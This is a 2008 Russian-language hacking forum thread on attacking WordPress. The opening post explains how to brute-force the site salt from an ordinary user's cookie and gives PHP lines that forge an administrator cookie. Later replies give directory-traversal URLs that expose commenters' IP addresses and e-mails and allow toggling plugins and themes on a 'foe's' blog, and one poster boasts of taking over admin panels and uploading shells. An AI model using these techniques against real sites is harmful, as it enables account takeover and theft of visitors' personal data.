Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
WordPress 2.5 Cookies Manipulation |

03.06.2008, 19:26
|
|
Познающий
Регистрация: 12.11.2007
Сообщений: 70
Провел на форуме: 1214722
Репутация:
676
|
|
WordPress 2.5 Cookies Manipulation
Проблемы с надежностью шифрования у вордпресса были всегда. Вспомним 2007 год, когда имея только аутенфикационные данные в виде связки логин и пароль, можно было зайти с администраторскими правами даже без перебора хеша этого пароля, а иньекций в блоге было предостаточно. Ввести элементарный секьюрити фикс не могли начиная с версии 1.5 до 2.3, когда было объявлено о выходе wordpress 2.5. Теперь сразу после инсталяции блога в базу записывается соль, с помощью который высчитывается хеш пароля, помещаемый в cookies юзера. Cookies юзера представляют из себя следующую конструкцию
"wordpress_".COOKIEHASH = USERNAME . "|" . EXPIRY_TIME . "|" . HMAC
COOKIEHASH md5 хеш от имени сайта
USERNAME Имя пользователя
EXPIRY_TIME Срок жизни cookies до того как они станут невалидными
HMAC представляет из себя хеш из USERNAME и EXPIRY_TIME, основанный на ключе, полученный путем преобразования USERNAME,EXPIRY_TIME и SALT, проще говоря формула такая
HMAC_KEY = HMAC md5(USERNAME.EXPIRY_TIME,SALT), HMAC = HMAC md5(USERNAME.EXPIRY_TIME,HMAC_KEY)
Для реализации атаки нам нужен зарегестрированный пользователь с любыми правами. После входа в контрольную панель мы получим наши cookies, которые будут нужны для получения соли. Так как соль для всех одна, то мы имея эту соль можем сгенерировать cookies для любого юзера, в том числе и админа. Посмотрим, как происходит аутенфикация в wordpress
PHP код:
function wp_validate_auth_cookie($cookie = '') {
........................
list($username, $expiration, $hmac) = explode('|', $cookie);
$expired = $expiration;
........................
if ( $expired < time() )
return false;
........................
$key = wp_hash($username . $expiration);
$hash = hash_hmac('md5', $username . $expiration, $key);
........................
if ( $hmac != $hash )
return false;
}
function wp_hash($data) {
$salt = wp_salt();
if ( function_exists('hash_hmac') ) {
return hash_hmac('md5', $data, $salt);
} else {
return md5($data . $salt);
}
}
Генерация хеша основывается лишь на юзернейме, сроке жизни кук и необходимом параметре - соль. Соль получается следующим образом
PHP код:
function wp_salt() {
........................
if ( empty($salt) ) {
$salt = wp_generate_password();
update_option('secret', $salt);
}
........................
}
function wp_generate_password() {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$length = 7;
$password = '';
for ( $i = 0; $i < $length; $i++ )
$password .= substr($chars, mt_rand(0, 61), 1);
return $password;
}
Как видим, она генерируется случайным образом из набора A-Za-z0-9, то есть общее число комбинаций 62^7, а именно 3521614606208. При неплохой скорости перебора в четыре милиона в секунду имеем 3521614606208 / 4000000 примерно десять дней перебора. Но вспоминаем, что у нас не обычный md5, а hmac. HMAC md5 завязан на ключе и хеширование происходит по формуле md5(key XOR opad, md5(key XOR ipad, text)), где ipad и opad - сгенерированные на основе ключа строки, полученные путем ксора (ipad = the byte 0x36 repeated 16 times, opad = the byte 0x5C repeated 16 times), то есть на перебор вместо изначальных десяти дней уйдет максимум месяц за счет операций с ключом и двойного вызова md5. Перебор должен происходить на основе уже готовых username, hmac и expired из наших cookies - hmac_md5(username . expired, hmac_md5(username . expired,SALT)) == hmac. После получения соли, воспользовавшись стандартными worpdress функциями получим cookies для админа. Enjoy.
PHP код:
$hmackey = hash_hmac('md5', 'admin' . '9999999999', $salt);
$hmacpass = hash_hmac('md5', 'admin' . '9999999999', $hmackey);
Спасибо +toxa+ и W[4H]LF за потраченное на меня время
шок (15:24:19 3/06/2008)
назовем - криптографическая атака на вордпресс
+toxa+ (15:24:34 3/06/2008)
Тебе хитровыебнуться надо?))
|
|
|

03.06.2008, 23:20
|
|
Участник форума
Регистрация: 08.05.2007
Сообщений: 164
Провел на форуме: 466673
Репутация:
784
|
|
боян
http://www.securityfocus.com/archive/1/490887
|
|
|

03.06.2008, 23:28
|
|
Познающий
Регистрация: 12.11.2007
Сообщений: 70
Провел на форуме: 1214722
Репутация:
676
|
|
M4g, не жалко - в закрытых разделах лежит без перебора и прочих "но".
|
|
|

03.06.2008, 23:43
|
|
Участник форума
Регистрация: 08.05.2007
Сообщений: 164
Провел на форуме: 466673
Репутация:
784
|
|
у меня тоже лежит без перебора и прочих но сплойт, основанный все на той же инфе секуритифокуса
|
|
|

03.06.2008, 23:46
|
|
Участник форума
Регистрация: 08.05.2007
Сообщений: 164
Провел на форуме: 466673
Репутация:
784
|
|
короче мир дружба жвачка, главное поменьше всяких штук в паблик выкладывать)
З.Ы. единственные версии вп, которые у мну не получилось поиметь (зайти в админку, залить шелл) 2.3.3 и 2.5.1 =\
|
|
|

03.06.2008, 23:48
|
|
Участник форума
Регистрация: 08.05.2007
Сообщений: 164
Провел на форуме: 466673
Репутация:
784
|
|
и еще для размышления (будет в хакфаке в хакере в июне)
XXX ВОПРОС XXX
Как можно посмотреть IP-адреса и e-mail людей, которые оставили свои комментарии на блоге WordPress?
XXX ОТВЕТ XXX
Недавно обнаруженная уязвимость в WordPress версий до 2.5 с моей доработкой предоставляет тебе такую возможность  Итак, чтобы посмотреть полную конфиденциальную инфу комментаторов на блоге, ты должен зарегистрироваться и пройти по адресу http://blog.com/wp233/?cat=1.php/../../../../wp%252dadmin/edit%252dcomments. Также эта бага позволяет тебе всячески поиздеваться над блогом недоброжелателя, например:
-редактировать структуру ссылок (http://blog.com/wp233/?cat=1.php/../../../../wp%252dadmin/options%252dpermalink);
-активировать и деактивировать плагины (http://blog.com/wp233/?cat=1.php/../../../../wp%252dadmin/plugins);
-активировать и деактивировать темы оформления (http://blog.com/wp233/?cat=1.php/../../../../wp%252dadmin/themes);
-просматривать все посты блога (включая черновики) (http://blog.com/wp233/?cat=1.php/../../../../wp%252dadmin/edit).
И многое другое  Ты можешь сам подставлять названия файлов из каталога ./wp-admin и ставить свои опыты над вордпрессом.
З.Ы. По непроверенной информации бага работает только на Windows-платформах, но, так как я занимался данной уязвимостью только на винде, на никсах можешь поэксперементировать сам.
|
|
|

04.06.2008, 20:47
|
|
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
Провел на форуме: 9751379
Репутация:
3812
|
|
Сообщение от M4g
и еще для размышления (будет в хакфаке в хакере в июне)
XXX ВОПРОС XXX
Как можно посмотреть IP-адреса и e-mail людей, которые оставили свои комментарии на блоге WordPress?
XXX ОТВЕТ XXX
Недавно обнаруженная уязвимость в WordPress версий до 2.5 с моей доработкой предоставляет тебе такую возможность  Итак, чтобы посмотреть полную конфиденциальную инфу комментаторов на блоге, ты должен зарегистрироваться и пройти по адресу http://blog.com/wp233/?cat=1.php/../../../../wp%252dadmin/edit%252dcomments. Также эта бага позволяет тебе всячески поиздеваться над блогом недоброжелателя, например:
-редактировать структуру ссылок (http://blog.com/wp233/?cat=1.php/../../../../wp%252dadmin/options%252dpermalink);
-активировать и деактивировать плагины (http://blog.com/wp233/?cat=1.php/../../../../wp%252dadmin/plugins);
-активировать и деактивировать темы оформления (http://blog.com/wp233/?cat=1.php/../../../../wp%252dadmin/themes);
-просматривать все посты блога (включая черновики) (http://blog.com/wp233/?cat=1.php/../../../../wp%252dadmin/edit).
И многое другое  Ты можешь сам подставлять названия файлов из каталога ./wp-admin и ставить свои опыты над вордпрессом.
З.Ы. По непроверенной информации бага работает только на Windows-платформах, но, так как я занимался данной уязвимостью только на винде, на никсах можешь поэксперементировать сам.
Дык это основано на том что фильтрует ./ и не фильтрует .\
__________________
|
|
|

06.06.2008, 01:59
|
|
Участник форума
Регистрация: 08.05.2007
Сообщений: 164
Провел на форуме: 466673
Репутация:
784
|
|
->Дык это основано на том что фильтрует ./ и не фильтрует .\
не путай, это две разные баги
ЗЫ по ходу ВП тут мало кто разбирается =\
|
|
|

06.06.2008, 02:01
|
|
Участник форума
Регистрация: 08.05.2007
Сообщений: 164
Провел на форуме: 466673
Репутация:
784
|
|
пруфлинк: http://www.securityfocus.com/bid/28845
WordPress 'cat' Parameter Directory Traversal Vulnerability (Vulnerabilities)
еще раз повторяю: это 2 РАЗНЫЕ баги
на секуритифокусе последняя не совсем разработана, я ее чуть больше поковырял
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|